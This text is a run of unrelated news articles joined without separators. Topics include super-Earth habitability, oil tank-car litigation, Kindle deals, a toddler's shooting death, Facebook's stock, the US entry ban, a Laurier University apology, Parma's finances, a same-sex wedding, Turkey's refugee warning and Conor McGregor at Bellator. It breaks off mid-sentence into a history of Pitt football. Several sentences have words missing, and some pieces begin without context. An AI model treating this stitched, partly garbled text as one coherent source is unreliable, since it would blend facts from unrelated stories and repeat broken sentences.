Previously, most of the exoplanets labelled'super Earths' (as they are slightly larger than our own planet) have also been regarded as uninhabitable, due to their liquid surface.
But new research by Dr Nicolas Cowan of Northwestern University in Illinois suggests that some of these super-Earths will contain land masses as well as oceans, partly because of the pressure the liquid would exert on the planets' tectonic plates.
On his website, Dr Cowan explains that he "constructs maps of these distant worlds by monitoring how their brightness and colour change with time".
"Large terrestrial planets are expected to have muted topography and deep oceans, implying they should be entirely covered in water, so-called waterworlds," Dr Cowan wrote in a recent paper for a meeting of the American Astronomical Society.
By modelling the movement of water between the Earth's "surface reservoirs" (the oceans) and "interior reservoir" (the planet's mantle), and extrapolating that data for larger worlds, Dr Cowan concluded that "tectonically active terrestrial planets" would feature "both oceans and exposed continents".
Having exposed continents is a good thing for the development of a livable climate, he said.
"The temperate climate on Earth is not just because of liquid water, but because of exposed continents," he told the AAS meeting.
But before we start developing plans for a colony on one of these worlds, there will be at least one big problem: hefty gravity.
Gravity that is three times stronger than that on Earth may make human habitation of alien worlds difficult, if not impossible, but Cowan told SPACE.com that it did not rule out the possibility of other life developing.
"I don't think 3-G is a big problem for habitability... fighter pilots can handle it," he said.
Dr Cowan described his theory as a "shot from the hip" but said it was "an important step in advancing how we think about super-Earths".
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A U.S. federal court has ordered a halt in proceedings until May in a case centering around oil-by-rail tankers pitting the Sierra Club and ForestEthics against the U.S. Department of Transportation (DOT). As a result, potentially explosive DOT-111 oil tank cars, dubbed “bomb trains” by activists, can continue to roll through towns and cities across the U.S. indefinitely.
“The briefing schedule previously established by the court is vacated,” wrote Chris Goelz, a mediator for the U.S. Court of Appeals for the Ninth Circuit. “This appeal is stayed until May 12, 2015, or pending publication in the Federal Register of the final tank car standards and phase out of DOT-111 tank cars, whichever occurs first.”
Filing its initial petition for review on December 2, the Sierra Club/ForestEthics lawsuit had barely gotten off the ground before being delayed.
That initial petition called for a judicial review of the DOT’s denial of a July 15, 2014 Petition to Issue an Emergency Order Prohibiting the Shipment of Bakken Crude Oil in Unsafe Tank Cars written by EarthJustice on behalf of the two groups. On November 7, DOT denied Earthjustice’s petition, leading the groups to file the lawsuit.
Initially, DOT told the public it would release its draft updated oil-by-rail regulations by March 31, but now will wait until May 12 to do so. As reported by The Journal News, the delay came in the aftermath of pressure from Big Oil and Big Rail.
“In a joint filing, the Association of American Railroads (AAR) and the American Petroleum Institute (API) contend the tank car industry doesn’t have the capacity to retrofit the estimated 143,000 tank cars that would need to be modernized to meet the new specifications,” wrote The Journal News. “Nor can manufacturers build new tank cars fast enough, they say.”
The “bomb trains” carrying volatile crude oil obtained via hydraulic fracturing (“fracking”) from the Bakken Shale, then, will continue to roll unimpeded for the foreseeable future. They will do so in the same DOT-111 rail cars that put the fracked oil-by-rail safety issue on the map to begin with — the July 2013 deadly explosion in Lac-Mégantic, Quebec.
And as DeSmogBlog has reported, industry promises to phase-out DOT-111s on a voluntary basis have rung hollow.
“The courts and the administration are dragging their feet on common sense safety steps that will take the most dangerous oil tanker cars off the tracks, slow down these trains, and help emergency responders prepare for accidents,” Eddie Scher, communications director for ForestEthics, told DeSmogBlog.
“We filed our lawsuit because the DOT is not moving fast enough on safety. This court’s decision ignored the imminent threat to the 25 million Americans who live in the blast zone and the communities around the nation that don’t have the luxury of waiting for DOT and the rail and oil industry lobbyists to finish their rule.”Wednesday, December 26 brings a few Kindle Daily Deals with inexpensive Whispersync upgrades to consider, starting with Marcus Sakey’s Brilliance, on sale for $1.99 on Kindle and $0.99 more via Whispersync for the Audible edition narrated by Luke Daniels. “In Wyoming, a little girl reads people’s darkest secrets by the way they fold their arms. In New York, a man sensing patterns in the stock market racks up $300 billion. In Chicago, a woman can go invisible by being where no one is looking. They’re called “brilliants,” and since 1980, one percent of people have been born this way. Nick Cooper is among them; a federal agent, Cooper has gifts rendering him exceptional at hunting terrorists. His latest target may be the most dangerous man alive, a brilliant drenched in blood and intent on provoking civil war. But to catch him, Cooper will have to violate everything he believes in – and betray his own kind.” The Guilded Earlobe loved this audiobook, giving it a rare “A+” and calling it “a smart blockbuster movie for your brain, with a complex and engaging main character, a stunningly created world, and so much action you should probably keep your cardiologist on Speed Dial.” And adding: “It’s a a straight thriller with enough science fiction elements that I want to force all my Speculative Fiction friends to read, at gun point if necessary. I absolutely loved this book.”
Evan Currie’s Into the Black is also on sale along with the second book in his “Odyssey One” series, available on Kindle for $1.99 and with a $0.99 Whispersync upgrade to the Audible audiobook, read by Benjamin L. Darcie. I reviewed this one a while back: “Currie’s self-published 2011 space sf novel was picked up by Amazon.com’s 47North, polished up, and given a full 2012 re-release in print, e-book, and audiobook. Here, Into the Black sees a new starship, the series-eponymous Odyssey, with a new, experimental long-distance “jump” style drive, captained by a veteran of a more terrestrial fighter pilot squadron, make its first jump, encounter the wreckage of an alien ship, and adventure onward. … Here Darcie’s narration is instantly recognizable as the “classic space sf” mode of narration: clean, dry, and precise, with minimal vocal gymnastics to distinguish speakers. Die-hard fans of space adventure fiction who burn their way through novels and audiobooks will find enough “there” there.”
Also on sale today are 5 books from Raymond Feist, 3 in his Chaoswar series and the first two books of the Demonwar Saga. All are listed at $1.99 Kindle today, with $4.99 Whispersync upgrades to the audiobook editions on Audible.HENDERSON COUNTY, N.C. -- A Henderson County couple charged in the death of a toddler have accepted a plea deal in the case.
James and Heather Stepp pleaded guilty to storage of a firearm with access to minors, a misdemeanor.
On Oct. 26, 2-year-old at the couple's home. Heather was babysitting Abagail at the time of the shooting. They were originally charged with involuntary manslaughter.
Authorities say the girl was accidentally shot in her upper body by a shotgun.
The Stepps were sentenced to 45 days in jail, which was suspended.
"This is a good resolution I think," District Attorney Greg Newman said. "I think it's a just resolution and it allows both families to at least check this off of their obligations and to try to move forward."
They each must pay a $200 fine, court costs and have their weapons forfeited to the sheriff's office.
"This is something that both families are going to have to deal with really for the rest of their lives," Newman said. "Clearly the parents of the child and clearly the Stepps. I mean, this is just something is tragic and they did not intend to happen."
The district attorney says pleading guilty to a misdemeanor might help the Stepps get their kids back from DSS.
Also, it's up to the Henderson County Sheriff's Office whether the Stepps can be granted a permit to purchase guns in the future.
News 13 reached out to ; they are not commenting at this time.By Rob Cox
The author is a Reuters Breakingviews columnist. The opinions expressed are his own. The following column appears in the August 6 issue of Newsweek magazine.
It would be all too easy to wager that Facebook’s market meltdown could be coming to an end. After all, the social network led by Mark Zuckerberg in just a couple of months incinerated as much as $50 billion of shareholders’ wealth. To put that in context, even after a recent rebound, Facebook since its Nasdaq debut in May has lost value nearly equal to the current market capitalizations of Yahoo, AOL, Zynga, Yelp, Pandora, OpenTable, Groupon, LinkedIn and Angie’s List combined, plus that of the bulk of the publicly traded newspaper industry.
As shocking as this utter failure may come to the nearly 1 billion faithful Facebook users around the world, it’s no surprise at all to anyone who read the initial public offering prospectus. Worse still, all the red flags that were flying when the company debuted – overpriced shares, shoddy corporate governance, huge challenges to the core business and a damaged brand – remain at full mast today. In this respect, Facebook looks like a proverbial example of what’s known on Wall Street as a falling knife – that is, one that can cost investors their fingers if they try to catch.
Start with the valuation. To justify a stock price close to the lower end of the projected range in the IPO, say $28 a share, Facebook’s future growth needed to mirror that of Google’s seven years earlier, according to an analysis by Reuters Breakingviews and Anant Sundaram, a professor at Dartmouth’s Tuck School of Business. Under that scenario, Facebook would have had to increase revenue over the next couple of years by some 80 percent annually, while maintaining high profit margins all the while.
That’s not happening. In the first half of 2012, Facebook reported revenue of $2.24 billion, up 38 percent from the same period in 2011. At the same time, the company’s costs surged to $2.6 billion in the six-month period.
This so-so performance reflects the Achilles’ heel of Facebook’s business model, which the company clearly stated in a list of risk factors associated with its IPO: it hasn’t yet figured out how to advertise effectively on mobile devices. The number of Facebook users accessing the site on their phones surged by 67 percent to 543 million in the last quarter, or more than half its customer base.
Numbers are only part of the problem. The mounting pile of failure creates a negative feedback loop that threatens Facebook’s future in other ways. Indeed, the more Facebook’s disappointment in the market is catalogued, the more Facebook’s image becomes tarnished. Not only does that threaten to rub off on users, it’s bad for recruitment and retention of talented hackers, who are the lifeblood of Zuckerberg’s creation.
Yet the wunderkind CEO can ignore the plaintive wails of his shareholders thanks to the super-voting stock he holds. This Rupert Murdoch-like arrangement also was fully disclosed at the time of the offering. It’s a pity so few investors apparently bothered to do their homework.Homeland Security officials plan to submit to the White House in the coming weeks a report that is likely to shape the future of President Trump’s entry ban — a key portion of which is set to expire on Sept. 24, authorities said. (Brian Snyder/Reuters)
Department of Homeland Security officials plan soon to submit to the White House a report that is likely to shape the future of President Trump's entry ban, a key portion of which is set to expire Sept. 24, authorities said.
The report is critical because it is being prepared in response to Trump's order that the homeland security secretary present him with a list of countries for inclusion in what effectively amounts to a more permanent ban. And because of impending deadlines, the White House will probably have to take action even before the Supreme Court hears arguments next month on whether the entry ban is at its core legal.
[Supreme Court allows limited version of Trump’s travel ban to take effect and will consider case in fall]
The White House has several options — including extending the current ban, modifying it or letting it lapse. The matter now sits in the hands of the Department of Homeland Security, which has been tasked with assessing the type of information that other countries provide so American officials can vet travelers wanting to come to the United States.
When Trump signed his revised entry ban in March, it was billed as a temporary measure, necessary to reduce officials' workload so they could review what information they were getting to vet people coming into the country.
The executive order barred citizens of six Muslim-majority countries from entering the United States for 90 days and banned refugees from all countries from entering for 120 days. Unlike a similar travel ban signed in January, the order exempted current visa holders and spelled out ways people might apply for a waiver.
The ban also established the cap on refugees for fiscal 2017 at 50,000, and officials at the State Department, the Department of Homeland Security and the White House have been discussing possibly lowering the limit for fiscal 2018, a level not seen in decades, according to a person familiar with the discussions. No final decision has been made, though, and the matter is ultimately up to the White House. The discussions were first reported by the New York Times. The new fiscal year begins Oct. 1.
[U.S. surpasses Trump administration’s cap on refugee admissions]
In March, with certain travelers prevented from entering, Trump commanded the Department of Homeland Security to conduct — within 20 days — a "worldwide review" of the information needed to vet travelers from other countries, and to come up with a list of those that did not provide adequate data.
Those countries were then to be given 50 days to start providing the information or come up with a plan to provide it. Those that didn't would risk being included in a presidential proclamation that would bar the entry of at least certain categories of their citizens, according to the executive order.
David Lapan, a Department of Homeland Security spokesman, said the department delivered a report to the White House in early July on the results of its worldwide review and now was working on the report about countries that could not provide adequate information.
Lapan said officials had "a comprehensive understanding of the information we receive from all foreign partners" and would "provide a report to the President in the coming weeks." A State Department spokeswoman said that agency was "engaging with foreign governments in order to meet these new standards for information sharing." She said she could not "prejudge the outcome of this engagement."
A person familiar with discussions over the entry ban said it is possible Homeland Security's report — and what the White House decides to do with it — could have a significant impact on the legal wrangling surrounding the measure. If the ban were to lapse or be changed significantly, that could render the upcoming Supreme Court hearing on the matter moot, or it could spawn fresh legal challenges, the person said.
The person, who spoke on the condition of anonymity because discussions are ongoing, said that it seemed unlikely the White House would abandon the ban entirely but that establishing a permanent ban could make it harder to defend in court. The White House declined to comment on what it was considering.
Although Trump signed the travel ban in March, it was waylaid by court challenges before it could take effect, and the president issued a memo effectively declaring that the 90- and 120-day clocks wouldn't start running until the court-imposed blockades were lifted.
On June 26, though, the Supreme Court permitted a limited version of the measure to take hold — although it said the government could not bar those with a "bona fide" connection to the United States, such as having family members here, or a job or a place in an American university.
U.S. officials formally implemented the directive three days later. Spokesmen for the Justice and Homeland Security departments said this week that they consider the clocks to have started running when the Supreme Court ruled. That means the ban on citizens from the six countries will expire Sept. 24, and the ban on refugees will expire Oct. 24. On Oct. 10, the Supreme Court is scheduled to hear arguments on whether the ban is legal.
That probably means by the time the court issues a decision, the entry ban on refugees and citizens of six countries will have expired.
As it stands now, the administration is allowed to implement a version of the ban that is far less forceful than it had hoped. After the Supreme Court ruled in the White House's favor in June, officials initially tried to block even grandparents and other extended relatives of people in the United States from entering — although a federal district judge ultimately stopped them from doing so, and the Supreme Court left that decision undisturbed.
The Supreme Court on Tuesday, though, put on hold another portion of the district judge's ruling, which would have prevented the administration from banning refugees with formal assurances from resettlement agencies. That means the government can keep out a pool of about 24,000 refugees, despite the assertion by those suing over the ban that they had a bona fide connection to the United States and thus should be allowed in.The head of Wilfrid Laurier University has officially apologized to teaching assistant Lindsay Shepherd for a meeting where faculty members dressed her down for showing students a video clip of a debate involving controversial professor Jordan Peterson.
“Through the media, we have now had the opportunity to hear the full recording of the meeting that took place at Wilfrid Laurier University,” says the letter from President and Vice-Chancellor Deborah MacLatchy.
“After listening to this recording, an apology is in order. The conversation I heard does not reflect the values and practices to which Laurier aspires. I am sorry it occurred in the way that it did and I regret the impact it had on Lindsay Shepherd.”
Shepherd’s supervising professor Nathan Rambukkana also published a letter of apology, saying that “everything that has happened since the meeting has given me occasion to rethink not only my approach to discussing the concerns that day, but many of the things I said in our meeting as well.”
The meeting was called after Shepherd aired part of a 2016 debate on gender-neutral pronouns that had aired on Ontario’s public broadcaster, TVO. The debate included Peterson, who’s become famous for his opposition to being required to use such pronouns, describing them as an expression of a radical left-wing ideology.
Shepherd secretly recorded the meeting, which was organized by Rambukkana and also involved associate professor Herbert Pimlott and Adria Joel, the university’s manager of gendered violence prevention and support. Shepherd was told she had created a “toxic climate” in the class, and it was even suggested she had broken Canadian law.
Both Rambukkana and Pimlott compared airing the clips to exposing the students to Nazi propaganda.
In his letter, Rambukkana acknowledges he mishandled the meeting, and said his main concern was “finding out why a lesson on writing skills had become a political discussion, and making sure harm didn’t befall students.”
He said he failed to provide Shepherd the support she deserved in such a meeting with faculty members. “I should have seen how meeting with a panel of three people would be an intimidating situation and not invite a productive discussion,” he said.
Rambukkana also apologized for his choice of words during the meeting.
“Perhaps instead of the route I took I should have added further discussion in lecture, or supplementary readings,” he wrote. “But instead I tried to make a point about the need to contextualize difficult material, and drew on the example of playing a speech by Hitler to do it. This was, obviously, a poorly chosen example.
“I meant to use it to drive home a point about context by saying here was material that would definitely need to be contextualized rather than presented neutrally, and instead I implied that Dr. Peterson is like Hitler, which is untrue and was never my intention.”
He closes the letter by saying he looks forward to “moving past this and continue working with you as my TA and perhaps in the future.”
MacLatchy’s letter says the university is reviewing what took place, both through an independent evaluation and through a university task force.
She also expressed concern about the effect this controversy has had on the university community.
“I remain troubled by the way faculty, staff and students involved in this situation have been targeted with extreme vitriol. Supports are in place at the university to support them through this situation.”
Speaking to the National Post, Shepherd welcomed the apologies and said she felt Rambukkana’s shows self-reflection. But she also noted the university seemed forced into it, perhaps because of the numerous threats she’d seen from alumni to pull their funding.
“They’re embarrassed, obviously, and they had to do something about it,” she said, adding that she would have preferred a much clearer statement about protecting the right to debate controversial issues.
Shepherd said she hasn’t had a conversation with any university faculty or staff about the controversy since the media picked up on it, despite the fact she’s still a TA in Rambukkana’s first-year communications course.
She also said the outpouring of support — including offers to crowd-fund her, which she’s turned down — has been heartening and shows how much people care about freedom of speech, even if much of the support came from people with different political views than her own.
“Obviously the vast majority are right wing, and that’s fine,” she said. “But my question is, why doesn’t it matter for people like me who are left wing, or left-leaning, but still believe in being reasonable?”
As she’s noted multiple times, she doesn’t even agree with Peterson’s stance on pronouns.
“If someone told me that they have a pronoun that they like to use, I would just use it,” she said.
• Email: bplatt@postmedia.com | Twitter: btaplatt"It's today's news," Lucarelli was quoted as saying by Italian media. "From tomorrow onwards, there will no more laundry service, we will take our kit home to wash."
The ANSA news agency also said that dressing-room furniture, including a bench used by coach Roberto Donadoni, had been put up for auction after being impounded.
Parma are bottom of Serie A with 10 points, the players have not been paid all season and the club, which has changed hands twice in two months, are in danger of not finishing the season.
Their match at home to Udinese last Sunday was called off because the club could not afford to pay for stewards or the police.
The benches inside the club's locker room have been put up for auction along with gym equipment.
Giampietro Manenti, the club's latest president, said next Sunday's match away to Genoa would go ahead and he was certain the club could provide transport for the players.
"The team won't have to pay anything," he told Radio Parma.
Lucarelli said the players would travel in their own cars if necessary.
"I don't think we have a problem as far as the bus is concerned, but we'll also have to see if the hotel comes through," he added.
Parma have never won the Serie A title but claimed two UEFA Cups, the 1993 European Cup Winners Cup and three Italian Cups in a very successful spell between 1992 and 2002.
They finished as Serie A runners-up in 1997 led by current Real Madrid coach Carlo Ancelotti.Authored By david.morton
Rhiannan Pierce and Phyllis Wood were the first same-sex couple to marry in Chattanooga.
The brief ceremony was held on the lawn of the Hamilton County Courthouse Friday afternoon. Celebrant Shaun Cox officiated. A handful of family members attended.
Wood and Pierce were among the first couples to apply for a marriage license in Hamilton County. They came into the clerk’s office a few hours after the U.S. Supreme Court struck down Tennessee’s ban on same-sex marriage.
“It’s hard to find words,” Pierce told reporters after the ceremony. “Now it’s legal. We can take care of one another.”
“No one can tell us we’re not a family,” Wood said.
The couple said they are planning a more formal ceremony in the future but wanted to go ahead and make it official. They’ve been waiting to marry for two years.Binali Yıldırım suggests Turkey could withdraw from EU agreement if Kurdish forces are given a role in talks
Turkey’s prime minister has warned that the country has the power to allow millions of refugees to resume their journeys to western Europe if the US and EU-backed Kurdish forces fighting in Syria are given a role in peace talks.
A sixth round of UN-sponsored Syrian talks to find a political solution for the six-year conflict is due to resume in Geneva on Tuesday, and Turkish opposition to any role in the talks for the Kurdish forces, the YPG, is likely to prove one of many stumbling blocks. Turkey regards the Syrian Kurds as inextricably linked to the Kurdish militant organisation, the PKK, which operates inside Turkey.
EU-Turkey refugee deal – Q&A Read more
Speaking after a meeting with Theresa May in London on Monday, Binali Yıldırım said it was possible for Turkey to renege on its agreement with the EU, under which 3.5 million refugees from neighbouring Syria have settled inside Turkey instead of heading for western Europe.
Insisting Turkey is essential to Europe’s security and had prevented more than 53,000 foreign fighters reaching Syria and Iraq, he said: “We know how much [of] a headache the PKK constitute. If there is tolerance vis-a-vis these organisations in the long term, Europe will be endangering its own.”
Yıldırım stressed he was not threatening Europe, but was merely reminding the bloc that Turkey has the power to unblock the route. While he said Turkey remained committed to joining the EU, he bitterly denounced an agreement signed last year with the bloc intended to deal with the Syrian refugee crisis as a “big, big lie”.
He accused the EU of failing to stick to a bargain struck in March 2016 in which Turkey would be granted visa liberalisation and cash in return for keeping Syrian refugees within its borders.
“We neutralised thousands of Daesh [Isis] fighters and we are currently welcoming 3.5 million refugees in Turkey. What happens if we were tell them: ‘Here’s Europe, off you go’. Can you imagine what will happen? Of course... it is not something we will do.”
Yıldırım also said he expected the US to show goodwill towards Turkey by terminating its relationship with the YPG, including the provision of arms.
US decision to arm Kurds in Syria poses threat to Turkey, says Ankara Read more
He said: “We see the YPG as a terrorist organisation and [it] has no place in the peace process. It will become one of the most sensitive issues for us.”
For the US, however, the YPG has been vital to the defeat of Isis in Raqqa, and some US state department officials believe a Syria-wide settlement has to include some form of federal power for the Syrian Kurds.
Yıldırım initially said he was sure Turkey’s new partners in the Syria peace process – Russia and Iran – shared its view on barring the Kurds from any role, but added later “Iran understands our position better”. Russia, he said, merely respected Turkey’s position.
Yıldırım also reaffirmed that Turkey did not believe that the crisis in Syria could be resolved while President Bashar al-Assad remained in power. “The current regime is responsible for the way things have evolved in Syria... I don’t think it’s a realistic prospect to build lasting peace in Syria with Assad [in place],” he said.
Syria has not yet confirmed that its delegation will attend the Geneva talks.
Yıldırım was in London in part to discuss the initial progress on a post-Brexit trade deal, as well as co-operation on the development of a Turkish stealth fighter, the TF-X project.
Following his talks with May in Downing Street, Yıldırım said the two countries had begun work on a post-Brexit free trade agreement and set up a joint working group, which met for the first time earlier this month.
He said that while a deal could not be finalised until the UK had actually withdrawn from the EU, the preparations would take place “in parallel” with the Brexit negotiations.
“These will take place simultaneously. It is not like we will first wait for the UK to finish Brexit and then see what happens,” he told reporters. “That is not the kind of approach we have in mind. That would be wrong. Work has already started on it and it has to start.”Conor McGregor jumps into the octagon to celebrate with SBG Ireland teammate Charlie Ward after his Bellator 187 victory and goes after the referee. (0:45)
UFC star Conor McGregor created a scene at Bellator 187 on Friday in Dublin, which he attended in support of SBG Ireland teammate Charlie Ward.
McGregor, 29, was captured on video leaping over the Bellator cage after Ward (4-3) successfully defeated John Redmond on the Bellator prelims.
In an Instagram video posted by Bellator MMA, veteran referee Marc Goddard is seen addressing McGregor directly, before turning around to evaluate Redmond.
McGregor then followed Goddard across the cage before giving him a slight shove in the back, just before officials intervened. In the video, McGregor continued to point and yell in Goddard's direction before eventually exiting.
McGregor also slapped a Bellator staff member who was attempting to stop him from hanging on the top of the cage.
The U.S.-based Mohegan Tribe Department of Athletic Regulation oversaw the event from a regulatory standpoint and described McGregor's actions as an "assault" on Goddard.
"Mr. McGregor's conduct jeopardized the health and safety of the bout participants by delaying necessary medical attention to the fighters that were injured during the round," read a statement released Saturday by the organization. "In addition, Mr. McGregor assaulted referee Marc Goddard and a Bellator staff.
"The MTDAR has been in consultation with the upper management of the UFC regarding Mr. McGregor's inappropriate and unacceptable behavior. The MTDAR has also contacted members of the Association of Boxing Commissioners that have licensed Mr. McGregor in their jurisdictions to inform them of Mr. McGregor's behavior."
The Bellator 187 event took place Friday evening in Dublin and is scheduled to air on tape delay in the U.S. on Spike TV.
Last month, Goddard issued McGregor a formal warning during a UFC Fight |
due to poor health, Dawson stepped down. For the remainder of the season Hamilton again took over the team, guiding Pitt to an upset of number nine Navy and handing West Virginia its only loss of the season.[64]
John Michelosen era (1955–1965) [ edit ]
Pitt advancing the ball in a 27–7 win over Cal in a 1955 game at Pitt Stadium
In 1955 Pitt sought a return to the roots of its previous success by turning to John Michelosen, a quarterback on Jock Sutherland's 1936 and 1937 championship teams who later served as a Sutherland assistant and as the head coach of the Pittsburgh Steelers. Michelosen immediately brought Pitt football back to respectability in his first season with the 1955 Eastern Championship that was capped by an appearance in the 1956 Sugar Bowl. Pitt's invitation to the Sugar Bowl was surrounded by controversy because Pitt, an integrated team, was the first to bring an African-American, Bobby Grier, to play in a southeastern bowl game in the segregated Deep South.[65] Grier's play in the Sugar Bowl cemented the university's place in civil rights history as the first team to break the color barrier for southeastern bowls. However, the game was marred by protests in the South leading up to the game, which Pitt lost 7–0 when a controversial interference penalty was called on Grier that set up the winning touchdown for Georgia Tech. The following season, Michelosen guided Pitt to another bowl berth, the Gator Bowl, which resulted in another seven-point loss to Georgia Tech.[65]
Four additional winning seasons followed against formidable national schedules that were highlighted by victories over Notre Dame, USC, Miami, UCLA, Penn State, Oregon, Syracuse, Nebraska, and West Virginia. A three win season in 1961 that included wins at Miami and over Navy and USC, along with three close losses by 6 points or less to Baylor, Washington, and Notre Dame, was followed by a 5–5 record in 1962 and then perhaps the best team of the Micheloson era in 1963. The 1963 team, led by All-American Paul Martha, swept through a schedule that included wins at Notre Dame, UCLA, West Virginia, and Miami and home victories against Washington, Cal, Syracuse, and Penn State. The only loss of the season was in late October at Navy, which was led by Roger Staubach and would finish the season ranked second in the nation. The Panthers, at 7–1 and ranked fourth in the nation, headed into their rivalry against Penn State with a chance to play for a national championship. However, national tragedy struck on November 22 when President John F. Kennedy was assassinated which resulted in postponing Pitt's next-to-last game against Penn State from November 23 to December 7. The Panthers defeated the Miami Hurricanes on November 30, improving their record to 8–1. The bowls, which feared inviting Pitt before their season finale against Penn State the following week, signed other teams, leaving Pitt without a bowl invitation despite defeating the Nittany Lions, 22–21, and ending the season with a 9–1 record. Perceived as perhaps the best team of the modern football era not to appear in a bowl, the 1963 team finished with its number three ranking intact, but infamously received the label of the "No Bowl Team".[66]
The bad luck of 1963 seemed to jinx the program for the rest of Michelosen tenure, and despite wins over Oklahoma, Miami, West Virginia, and Penn State, two three-win seasons followed. The losses prompted the removal of Michelosen as coach, a move that sent the football program into a tailspin.
In eleven seasons at Pitt, the second longest coaching tenure at the school after Sutherland's, Michelosen achieved a 56–49–7 record with only 4 losing campaigns. Pitt finished ranked among the top twenty programs in four seasons with Michelosen at the helm. Michelosen was a major coaching influence on such modern day NFL coaching greats as Mike Ditka and Marty Schottenheimer, both of whom played at Pitt under Michelosen.
Hart and DePasqua (1966–1972) [ edit ]
The years that followed Michelosen's tenure were among the most downtrodden years of Pitt football as the Panthers compiled a sickly 16–56 record over the next six seasons. David Hart, who replaced Michelosen, produced three straight one-win seasons where many games produced embarrassing scores (the average score during Hart's three years was 34–9). Hart was replaced in 1969 by Carl DePasqua, who had previously won a Division II national title as Waynesburg's coach and had been currently serving as an assistant coach for the Pittsburgh Steelers. DePasqua brought a handful of wins, including upsets over Syracuse, West Virginia, and at UCLA and produced the Panthers' first non-losing season in seven years, but could not achieve a winning record and was relieved following a disastrous single win campaign in 1972.
Johnny Majors and Jackie Sherrill (1973–1981) [ edit ]
University Chancellor Wesley Posvar took action to revive the football program and hired Johnny Majors from Iowa State to resurrect the program in 1973. Majors immediately upgraded the recruiting, most notably bringing in future Heisman Trophy winner Tony Dorsett. Majors' impact was immediate: in Pitt's first game with Majors as coach, the Panthers travelled to the University of Georgia where they tied Vince Dooley's Bulldogs 7–7. The excitement in the city was palpable as the Panthers improved from one win in 1972 to a 6–5–1 record in 1973. Their success earned the Panthers their first bowl bid since 1956 when they were invited to play Arizona State in the 1973 Fiesta Bowl, where they lost 28–7. The next season saw further improvement with wins at Florida State and Georgia Tech to finish 7–4. In 1975, a Sun Bowl victory over Kansas capped an 8–4 record highlighted by wins at Georgia and against Notre Dame. The stage was thus set for the 1976 edition of the Panthers to make a run for the national championship.
The 1976 season began with the Panthers ranked ninth in the AP preseason poll. The first game was at Notre Dame, where the Irish grew the grass long on the playing field in a failed attempt to slow down Dorsett, who had burned them for 303 rushing yards the year before.[67] Their efforts were in vain as Dorsett ran for a 61-yard touchdown on Pitt's first play from scrimmage on the way to a 31–10 win. The season continued with a 42–14 win at Georgia Tech and a 36–19 win over Miami. On October 23, the Panthers travelled to Annapolis to face Navy during which Dorsett broke the NCAA career rushing record on a 32-yard touchdown run in Pitt's 45–0 victory. Dorsett's achievement prompted a mid-game celebration in which even Navy saluted the feat with a cannon blast.[68] Pitt next defeated eastern rival Syracuse 23–13, and on November 6, number two ranked Pitt easily handled Army while number one ranked Michigan lost to Purdue. For the first time since 1939, the Pitt Panthers were the number one ranked team in the country. The following week, they successfully defended their top rating in a close Backyard Brawl against rival West Virginia. With a record of 10–0, the Panthers headed into their regular season finale with only heated instate rival Penn State standing in the way of Pitt's national title aspirations. At a packed Three Rivers Stadium on the day after Thanksgiving, the Nittany Lions held Dorsett to 51 yards in the first half and had the game tied 7–7. Majors adjusted for the second half by shifting Dorsett from tailback to fullback, enabling him to explode for an additional 173 yards as Pitt rolled to a 24–7 victory that capped an undefeated regular season.[69] In December, Dorsett became the first Pitt Panther to win the Heisman Trophy as the nation's best college football player. Dorsett also won the Maxwell Award, the Walter Camp Player of the Year Award, and was named UPI Player of the Year. The 11–0 Panthers accepted an invitation to the 1977 Sugar Bowl to face second ranked Georgia. Pitt defeated the Bulldogs 27–3 and was voted number one in both the final Associated Press and Coaches polls, claiming their ninth national championship.[70] This was Pitt's first undefeated national championship since 1937. The American Football Coaches Association (AFCA) named Majors the 1976 Coach of the Year. Following this historic season, Majors returned to his alma mater, the University of Tennessee, to take the head coaching job.[71]
Dan Marino quarterbacks Pitt in a 1979 rout of Cincinnati in what would be the first of three straight 11–1 seasons
Jackie Sherrill, an assistant under Majors at Iowa State and Pitt and the head coach at Washington State, succeeded Majors as head coach at Pitt. Under Sherrill, the winning continued with a 9–2–1 record and Gator Bowl win in 1977. An 8–4 record and Tangerine Bowl appearance followed in 1978. Sherrill stockpiled future NFL talent including Pittsburgh's own quarterback Dan Marino, Hall of Fame inductee Russ Grimm, and Outland Trophy winner Mark May. Sherrill also molded a devastating defense that was anchored at the defensive end position manned by Hall of Fame inductee Rickey Jackson and Heisman Trophy runner-up Hugh Green, who had the highest finish in the Heisman voting by a defensive player until 1997, when Michigan's cornerback Charles Woodson, who also played receiver, won the trophy. 1979 began a string of three straight seasons with 11–1 records. However, an early loss at North Carolina in 1979, a midseason loss during a driving rainstorm at Florida State in 1980, and a devastating season-ending defeat at the hands of rival Penn State in 1981 prevented those teams from clinching an AP or Coaches poll national championship. The 1981 loss to Penn State at Pitt Stadium was especially devastating, as the number one ranked Panthers had opened up a 14–0 first-quarter lead only to see an apparent Dan Marino touchdown pass intercepted in the endzone. The Nittany Lions scored 48 unanswered points to end the Panthers' dream of a second national championship in five years.[72] In each of these three seasons, Pitt rebounded to win a bowl game: the Fiesta, Gator, and Sugar Bowls respectively. The 1982 Sugar Bowl was highlighted by one of the most dramatic plays in Pitt history as Dan Marino hit a streaking John Brown on fourth down in the last seconds of the game for the go-ahead score against a Georgia team that featured Herschel Walker.[73] Sherrill's teams at Pitt are considered by some to be among the most talented in Pitt and college football history. The 1980 Pitt team alone featured seven first round draft picks, 23 players who went on to start in the NFL, seven others who played in the NFL, and one player each who played in the CFL and the USFL.[74] Bobby Bowden, legendary coach of Florida State, is quoted as saying, "I've said it many times, in all my years of coaching, that Pitt team was the best college football team I have ever seen."[75] Sherrill left Pitt in early 1982 for Texas A&M, signing a then record contract worth over $1.7 million.[76] In five seasons, Sherrill's Panthers won fifty games, lost nine, and tied one (50–9–1), which places his 0.842 winning percentage at the top of the list for all Pitt coaches, just ahead of Jock Sutherland.
Fazio, Gottfried, Hackett, and the return of Majors (1982–1996) [ edit ]
Defensive coordinator and Pitt alumnus Foge Fazio took the reins of the preseason number one team for 1982. Expectations were high—dreams of a national championship seemed realistic.[77] The loaded Panthers, in Marino's senior season, stormed out to a 7–0 record and number one ranking before losing to Notre Dame at Pitt Stadium. A season-ending loss at Penn State and a 1983 Cotton Bowl Classic loss to Southern Methodist left Pitt fans disappointed. National championship aspirations again failed to materialize in 1983 when Pitt fell to 8–3–1, including a loss to Ohio State in the 1984 Fiesta Bowl, despite inspired play from All-American offensive tackle Bill Fralic. A disastrous three-win season in 1984 was somewhat redeemed by a season-ending demolition of Penn State. However, a five-win season in 1985 prompted the school to relieve Fazio of his duties.
